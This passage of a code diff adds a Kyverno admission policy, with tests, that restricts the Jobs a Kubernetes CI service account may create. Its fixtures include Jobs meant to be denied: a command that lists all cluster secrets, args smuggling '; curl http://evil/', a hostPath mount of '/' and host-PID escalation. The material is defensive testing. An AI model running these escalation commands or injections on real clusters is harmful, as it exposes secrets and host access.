# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||||
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||||
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
|
||||||
|
volume is how a constrained pod reaches a host path, a secret, or another SA's token.
|
||||||
|
# foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
|
||||||
|
# matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
|
||||||
|
# asserts EVERY volume is one of the two allowed names.
|
||||||
|
foreach:
|
||||||
|
- list: "request.object.spec.template.spec.volumes"
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
all:
|
||||||
|
- key: "{{ element.name }}"
|
||||||
|
operator: AnyNotIn
|
||||||
|
value: ["workspace", "results"]
|
||||||
|
|
||||||
|
- name: trigger-args-must-be-the-committed-flags
|
||||||
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
||||||
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
||||||
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
||||||
|
match:
|
||||||
|
all:
|
||||||
|
- resources:
|
||||||
|
kinds:
|
||||||
|
- Job
|
||||||
|
namespaces:
|
||||||
|
- conformance
|
||||||
|
subjects:
|
||||||
|
- kind: ServiceAccount
|
||||||
|
name: conformance-trigger
|
||||||
|
namespace: conformance
|
||||||
|
validate:
|
||||||
|
message: >-
|
||||||
|
conformance-trigger Job args may contain only the conformance run's own flags
|
||||||
|
(--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
|
||||||
|
Anything else — a shell, a path, a redirect — is denied.
|
||||||
|
foreach:
|
||||||
|
- list: "request.object.spec.template.spec.containers[0].args"
|
||||||
|
deny:
|
||||||
|
conditions:
|
||||||
|
all:
|
||||||
|
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
|
||||||
|
operator: Equals
|
||||||
|
value: false
|
||||||
@@ -20,3 +20,7 @@ resources:
|
|||||||
# --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
|
# --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
|
||||||
# (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
|
# (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
|
||||||
- secret-provenance.yaml
|
- secret-provenance.yaml
|
||||||
|
# --- R-SEC-02: constrain what the conformance CI trigger may create ---
|
||||||
|
# THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
|
||||||
|
# subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
|
||||||
|
- conformance-trigger-job-shape.yaml
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
|
||||||
|
#
|
||||||
|
# Each DENY case below is a real escalation path, not a style violation. The one that matters
|
||||||
|
# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
|
||||||
|
# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
|
||||||
|
# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
|
||||||
|
# this policy.
|
||||||
|
#
|
||||||
|
# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
|
||||||
|
# never fires and every case trivially passes — a test that proves nothing.
|
||||||
|
apiVersion: cli.kyverno.io/v1alpha1
|
||||||
|
kind: Test
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger-job-shape
|
||||||
|
policies:
|
||||||
|
- ../../admission/conformance-trigger-job-shape.yaml
|
||||||
|
resources:
|
||||||
|
- resources.yaml
|
||||||
|
userinfo: user-info.yaml
|
||||||
|
results:
|
||||||
|
# ---- the committed run is ADMITTED ----
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-create-only-the-committed-conformance-run
|
||||||
|
kind: Job
|
||||||
|
resources: [good-run]
|
||||||
|
result: pass
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-volumes-must-be-workspace-or-results
|
||||||
|
kind: Job
|
||||||
|
resources: [good-run]
|
||||||
|
result: pass
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-args-must-be-the-committed-flags
|
||||||
|
kind: Job
|
||||||
|
resources: [good-run]
|
||||||
|
result: pass
|
||||||
|
|
||||||
|
# ---- THE escalation: runner SA + arbitrary command ----
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-may-create-only-the-committed-conformance-run
|
||||||
|
kind: Job
|
||||||
|
resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
|
||||||
|
result: fail
|
||||||
|
|
||||||
|
# ---- an extra volume is the way out of a constrained pod ----
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-volumes-must-be-workspace-or-results
|
||||||
|
kind: Job
|
||||||
|
resources: [extra-volume]
|
||||||
|
result: fail
|
||||||
|
|
||||||
|
# ---- args beyond the committed flags ----
|
||||||
|
- policy: conformance-trigger-job-shape
|
||||||
|
rule: trigger-args-must-be-the-committed-flags
|
||||||
|
kind: Job
|
||||||
|
resources: [injected-args]
|
||||||
|
result: fail
|
||||||
@@ -0,0 +1,154 @@
|
|||||||
|
# The committed shape — must be ADMITTED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: good-run
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: results
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: evil-command
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# An arbitrary image running as the privileged SA. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: evil-image
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: docker.io/library/alpine:latest
|
||||||
|
command: ["./run.sh"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: tag-not-digest
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
|
||||||
|
command: ["./run.sh"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# Host namespaces + privilege escalation. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: host-namespaces
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
hostPID: true
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: false
|
||||||
|
allowPrivilegeEscalation: true
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
---
|
||||||
|
# An extra volume — the way out of a constrained pod. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: extra-volume
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
|
- name: hostroot
|
||||||
|
hostPath:
|
||||||
|
path: /
|
||||||
|
---
|
||||||
|
# Injected args beyond the committed flags. Must be DENIED.
|
||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: injected-args
|
||||||
|
namespace: conformance
|
||||||
|
spec:
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: conformance-runner
|
||||||
|
containers:
|
||||||
|
- name: runner
|
||||||
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
||||||
|
command: ["./run.sh"]
|
||||||
|
args: ["--layer", "l2", ";", "curl", "http://evil/"]
|
||||||
|
securityContext:
|
||||||
|
runAsNonRoot: true
|
||||||
|
allowPrivilegeEscalation: false
|
||||||
|
volumes:
|
||||||
|
- name: workspace
|
||||||
|
emptyDir: {}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
# The requesting identity the policy keys on. Without this the `subjects` match never fires and
|
||||||
|
# every case below would trivially "pass" — proving nothing.
|
||||||
|
apiVersion: cli.kyverno.io/v1alpha1
|
||||||
|
kind: UserInfo
|
||||||
|
metadata:
|
||||||
|
name: conformance-trigger
|
||||||
|
userInfo:
|
||||||
|
username: system:serviceaccount:conformance:conformance-trigger
|
||||||
|
groups:
|
||||||
|
- system:serviceaccounts
|
||||||
|
- system:serviceaccounts:conformance
|
||||||
|
- system:authenticated
|
||||||
Reference in new issue
Block a user